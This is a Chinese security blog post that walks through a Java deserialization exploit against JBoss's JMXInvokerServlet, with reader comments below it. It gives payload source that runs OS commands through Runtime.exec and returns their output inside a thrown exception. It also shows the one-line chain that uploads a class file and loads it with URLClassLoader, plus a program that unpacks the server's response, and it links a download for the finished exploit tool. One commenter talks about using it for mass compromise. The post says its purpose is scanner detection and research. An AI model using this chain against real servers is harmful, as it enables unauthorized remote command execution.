Java反序列化漏洞执行命令回显实现及Exploit下载

2015-12-09 1140192人围观 ,发现 43 个不明物体 工具漏洞

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

本文原创作者:rebeyond

文中提及的部分技术、工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用!

0×00 前言

前段时间java 的反序列化漏洞吵得沸沸扬扬,从刚开始国外某牛的一个可以执行OS命令的payload生成器,到后来的通过URLClassLoader来加载远程类来反弹shell。但是后来公司漏扫需要加规则来识别这种漏洞,而客户的漏扫又时常会工作在纯内网的环境下,因此远程加载类的方法行不通。想到自己写一个利用工具,于是有了下面这篇文章(本文以JBOSS为例)。

0×01目标

1.   EXP只能利用服务器本机的资源,不能加载远程类。
2.   上传任意文件至任意目录。
3.   获取命令执行的回显内容。

0×02实现

EXP只能利用服务器本机的资源,不能加载远程类:

通过对漏洞成因分析可以得知,我们只能通过链式调用来执行java语句。换句话说,我们所想执行的语句必须可以写到一行里面,而且还不能带分号:( 其实这里很好突破,我们只要把我们想要执行的任意代码(无论有多长)在本地编译成class,然后把class字节码上传到服务器就可以了。然后问题又来了,怎么上传呢,上传到什么路径下面呢?上传可以通过FileOutputStream这个类来实现,上传路径就更简单了,直接给FileOutputStream传个“.”过去,上传到程序运行的当前目录下面,一句话代码:new FileOutputStream(“./payload.class”).write(new byte[]{0xXX,0xXX……})。上传的问题解决了,下面执行也就好办了,一句代码:java.net.URLClassLoader. getConstructor(java.net.URL[].class). newInstance(new java.net.URL[] {new java.net.URL("file:./")}). loadClass(“payload”). newInstance(“cmd.exe /c whoami”)。

这样就解决了我们的两个目标,只利用服务器本机资源,不需要联网,可以上传任意文件至任意目录。

获取命令回显内容:

通过对JBOSS中invoker/JMXInvokerServlet的返回结果进行分析,得知返回的是一个 MarshalledValue对象,该对象封装了invoker/JMXInvokerServlet的返回值,如果执行过程中有异常抛出,一个InvocationException对象就会封装在MarshalledValue对象里面。到这里思路就很明确了,java 的异常有个构造函数是可以传String参数的,我们可以把第一步那个class文件中命令执行的结果作为参数构造一个Exception,然后在payload.class最后throw这个Exception,这样这个带有回显内容的Exception就会封装在MarshalledValue对象里面通过http协议返回,我们只要把返回的MarshalledValue对象解包,就可以获取回显的内容了。

下面给出payload.java的源代码:

import java.io.BufferedReader;
import java.io.InputStreamReader;
public class RunCheckConfig {
    public RunCheckConfig(String  args) throws Exception
    {
        Process proc = Runtime.getRuntime().exec(args);
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();
        String line;
        while ((line = br.readLine()) != null)
        {
            sb.append(line).append("\n");
        }
        String result = sb.toString();
        Exception e=new Exception(result);
        throw e;
        }
    }

  解包程序的源代码:

public static void main(String args[]) throws Exception
   {
        FileInputStream fis = new FileInputStream("d:/response.bin"); 
        byte TempByte[]=new byte[5000*1000];
           int length=fis.read(TempByte);
           int ClassStart=0;
           for (int i=0;i<length;i++)
           {
            if (TempByte[i]==0x0d&&TempByte[i+1]==0x0a&&TempByte[i+2]==0x0d&&TempByte[i+3]==0x0a)
            {
                System.out.println(i);
                ClassStart=i;
                break;
            }
           }
           byte ClassByte[]=new byte[length-ClassStart-4];
           for (int i=0;i<ClassByte.length;i++)
           {
            ClassByte[i]=TempByte[i+ClassStart+4];
           }
           fis.close();
           TempByte=null;
           ByteArrayInputStream ai=new ByteArrayInputStream(ClassByte);
          ObjectInputStream ois = new ObjectInputStream(ai); 
          MarshalledValue st1 = (MarshalledValue) ois.readObject();
          InvocationException o=(InvocationException) st1.get();
          System.out.println(o.getTargetException().getCause().getCause().getCause().getMessage());
}

下面是解包后的截图:

0×03总结

到这里我们本文的三个目标都已经完成了。

对于本文的初衷,如何让漏扫来判断是否存在漏洞,就更简单了,只要一句代码就可以了:new FileOutputStream("\u0000");,然后在返回内容里查找字符串“java.io.FileNotFoundException”,或者像我们前面做的那样,解包然后判断exception的类型是不是java.io.FileNotFoundException。

另外,附上该Exploit的成品截图及下载地址,仅供研究,请勿用于任何非法活动:

下载地址:链接:http://share.weiyun.com/2d8bac0d1a61378f5b0be06a42eca962 (密码:Po4i)

* 原创作者:rebeyond,本文属FreeBuf原创奖励计划,未经许可禁止转载

相关推荐

这些评论亮了

  • ccc 回复
    其实我是看桌面的 :mrgreen:
    )10( 亮了
  • genxor (2级) 安全研究员 回复
    checkVul做的不对 检测可不是判断一下http code 看看对象类型这么简单 :arrow:
    )10( 亮了
  • 0xroot (6级) 奔跑的蚂蚁 回复
    赞一个 貌似不支持对https网站的检测
    )8( 亮了
  • 123123123123123 回复
    如果可以远程扫描就可以做抓鸡套装了
    )8( 亮了
  • 对着天空发呆的香槟 回复
    下载了的,这个是针对jboss的
    )8( 亮了
发表评论

已有 43 条评论

取消
Loading...

这家伙太懒,还未填写个人描述!

5 文章数 17 评论数 0 关注者

特别推荐

推荐关注

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php